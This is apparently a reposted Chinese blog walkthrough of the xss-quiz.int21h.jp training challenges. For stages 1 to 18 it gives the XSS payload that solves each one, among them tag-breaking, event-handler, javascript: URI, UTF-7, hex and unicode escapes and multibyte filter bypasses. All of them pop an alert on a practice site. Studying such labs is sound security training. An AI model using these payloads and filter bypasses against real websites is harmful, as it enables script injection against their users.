XSS Challenges

Posted ls-pankong

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS Challenges相关的知识,希望对你有一定的参考价值。

Stage #1: http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9

Hint: very simple...

按照要求输入<script>alert(document.domain);</script>

过关

Stage #2 http://xss-quiz.int21h.jp/stage2.php?sid=9532df794eb7055cab4e31fbac353c0df1960148

Hint: close the current tag and add SCRIPT tag...(关闭当前标记并添加SCRIPT标记...)

所以:"><script>alert(document.domain);</script>

 过关

Stage #3  http://xss-quiz.int21h.jp/stage-3.php?sid=5a47bf8bf0dd8ce20b80f1622b66b7b061b88c7a

 Hint: The input in text box is properly escaped.( 文本框中的输入已正确转义。

因此要换个思路,文本框不行,那选择国家的框应该可以

打开调试元素,将Japan改为<script>alert(document.domain);</script>

文本框随便输入即可,过关

Stage #4 http://xss-quiz.int21h.jp/stage_4.php?sid=379f6925f33df5c6ad079263f65a97d8527fd6e3

Hint: invisible input field(不可见的输入字段

尝试在search和country处插入xss,但是查看源码发现都被转义了,发现有个p3是hidden,所以改元素为text,看源码需要闭合

在p3里边插入"><script>alert(document.domain);</script>即可

过关

Stage #5  http://xss-quiz.int21h.jp/stage--5.php?sid=e65c978171f6ccab00dd94ae4d93428f566a88b3

Hint: length limited text box(限制了长度)

调试元素改大些长度即可

"><script>alert(document.domain);</script>

过关

Stage #6  http://xss-quiz.int21h.jp/stage-no6.php?sid=fb52b1908dfa916733f61c08a2942e03f11b0894

Hint: event handler attributes(事件处理程序属性)

" onmousemove="alert(document.domain)或" onclick=alert(document.domain) id="a,建议每次尝试之后都看下源代码

过关

Stage #7 http://xss-quiz.int21h.jp/stage07.php?sid=2e71a47a9c7061dcce2b9205b52f4252bd53b443

Hint: nearly the same... but a bit more tricky.( 差不多......但有点棘手)

和第六题差不多,

 和上一关一样,这里的"<>都被转义了

 但事实上,用" onclick=alert(document.domain)还是可以插入,因为前面的"不影响后面的onlick点击事件

还有一种方法:1 onmouseover=alert(document.domain);

 onmouseover:事件会在鼠标指针移动到指定的元素上时发生。

过关

Stage #8  http://xss-quiz.int21h.jp/stage008.php?sid=9a2b87b21da3ee6de99244f62cae1f131d34761b

Hint: the ‘javascript‘ scheme.(JavaScript样式)

js的伪协议,当点击链接的时候弹出窗口

javascript:alert(document.domain),然后出现个连接点击即可

过关

Stage #9  http://xss-quiz.int21h.jp/stage_09.php?sid=1aa32193e5e2adf2cee55de0b03e2a01494b4ba3

Hint: UTF-7 XSS

 "<>都被转义了,当然也不能用onmouseover和onclick,根据提示,用UTF-7编码解码工具,将" onmousemove="alert(document.domain)转为UTF-7编码:

+ACIAIABvAG4AbQBvAHUAcwBlAG0AbwB2AGUAPQAiAGEAbABlAHIAdAAoAGQAbwBjAHUAbQBlAG4AdAAuAGQAbwBtAGEAaQBuACk-

并且修改charset为type=text,输入:UTF-7,不过不用IE7很难实验成功,或许可以抓包来提交。

过关

Stage #10 http://xss-quiz.int21h.jp/stage00010.php?sid=718360225fa9356a42c30995f38b5142c3496f6a

Hint: s/domain//g;()

可见它把domain过滤了,因此采用双写绕过

"><script>alert(document.domdomainain)</script>

过关

Stage #11 http://xss-quiz.int21h.jp/stage11th.php?sid=bddea6ab0140e0b9ec340ea96a8c8cabe33d4704

 

Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

将script,on[a-z],style都过滤了

要将script中的某个字符转为unicode编码,或者可以插入&#09;不可见字符

"><a href="javascr&#09;ipt:alert(document.domain);">12</a>

过关

Stage #12  http://xss-quiz.int21h.jp/stage_no012.php?sid=67fd73a52db60e5548bec6d4f987ed1d89da5192

Hint: "s/[x00-x20<>"‘]//g;"
  <>"被过滤,根据提示可以知道x00-,x20,&lt;,&gt;,",‘都被过滤了,但是`还没被过滤,于是可以用`加上onclick,onmouseover,onfocus均可,还有一个前提是IE,只有IE才有这个特性

不过我实验是没成功   ``onfocus=alert(document.domain)

Stage #13 http://xss-quiz.int21h.jp/stage13_0.php?sid=fd464a9d8a5423665d405be5344f9e36de07b421

Hint: style attribute(样式属性)

 

在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件,同样前提是IE

  1:expression(onmouseover=function(){alert(document.domain)})

  background-color:salmon;input:expression((window.x==1)?‘‘:(window.x=1,alert(document.domain)))(大佬的操作)

过关

Stage #14 http://xss-quiz.int21h.jp/stage-_-14.php?sid=0dd23c002d3920ff6a98176664e549f4e383dad7

Hint: s/(url|script|eval|expression)/xxx/ig;
1:expre/**/ssion(onmouseover=function(){alert(document.domain)})
background-color:salmon;input:e/**/xpression((window.x==1)?‘‘:(window.x=1,alert(document.domain)))
过关
Stage #15 http://xss-quiz.int21h.jp/stage__15.php?sid=f4ea45c94f90166a2554b794c2edc7b36a0b08e1
Hint: document.write();
换成16进制编码\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
过关
Stage #16  http://xss-quiz.int21h.jp/stage00000016.php?sid=5893e43e2e6b5f621d2007deab0a0f006013cea7
Hint: "document.write();" and "s/\\x/\\\\x/ig;"
换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
换成十进制\\74script\\76ealert(document.domain);\\74/script\\76
过关
Stage #17 http://xss-quiz.int21h.jp/stage-No17.php?sid=a207c91d7b4cb2634e277df104c853554347e8ca
Hint: multi-byte character
思路类似于宽字节注入,利用特殊字节吃掉双引号,于是抓包修改p1,p2
 p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
过关
Stage #18 http://xss-quiz.int21h.jp/stage__No18.php?sid=15c9386e00551aa38970020b68c2bf714f23d132
Hint: us-ascii high bit issue
  将每个字符的二进制最高位置为1,然后再转为16进制

 故"><script>alert(document.domain)</scirpt> 就转换为%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
过关
Stage #19 http://xss-quiz.int21h.jp/stage_--19.php?sid=8e654fc6c2fe93f2c8bd38fbc6ad6b1588d859c7
Hint: Twitter DomXss at Sep 24, 2010


感谢:
https://www.cnblogs.com/sherlock17/p/6700430.html
http://blog.knownsec.com/Knownsec_RD_Checklist/xss/xss_quiz.txt









 
























以上是关于XSS Challenges的主要内容,如果未能解决你的问题,请参考以下文章

XSS Challenges

XSS Challenges

xss challenges平台学习

escape.alf.nu XSS Challenges 0-7 之一步步学XSS

XSS Challenges

XSS Challenges